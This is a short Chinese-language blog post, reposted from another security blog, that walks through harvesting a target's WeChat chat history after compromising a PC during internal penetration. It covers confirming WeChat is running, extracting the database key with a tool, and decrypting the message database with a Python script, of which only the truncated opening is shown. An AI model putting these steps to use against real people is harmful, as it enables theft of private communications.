信息收集之获取wx聊天记录

声明 转载于老李安全在内网渗透中 一般我的习惯是先打一台PC机，当通过某种手段拿下PC机后进行信息收集大概是可以用到，另一种是获取了登录账号密码，没有远程 也可以通过smb将文件传回本地进行信息收集,场景很多，根据具体情况而定。文章不知道会不会和谐，且看且珍惜。下面就手把手教大伙如何获取目标的聊天记录~~目标上线后可以通过VNC、截图、tasklist等多种手段来确认微信是否开启获取key使用工具 获取微信key获取key后通过脚本进行解密Python3from Crypto.Cipher import AESimport hashlib, hmac, ctypes, sys, getoptSQLITE_FILE_HEADER = bytes('SQLite format 3', encoding='ASCII') + bytes(1)IV_SIZE = 16HMAC_SHA1_SIZE = 20KEY_SIZE = 32DEFAULT_PAGESIZE = 4096DEFAULT_ITER = 64000opts, args = getopt.getopt(sys.argv[1:], 'hk:d:')input_pass = ''input_dir = ''for op, value in opts: if op == '-k': input_pass = value else: if ………………………………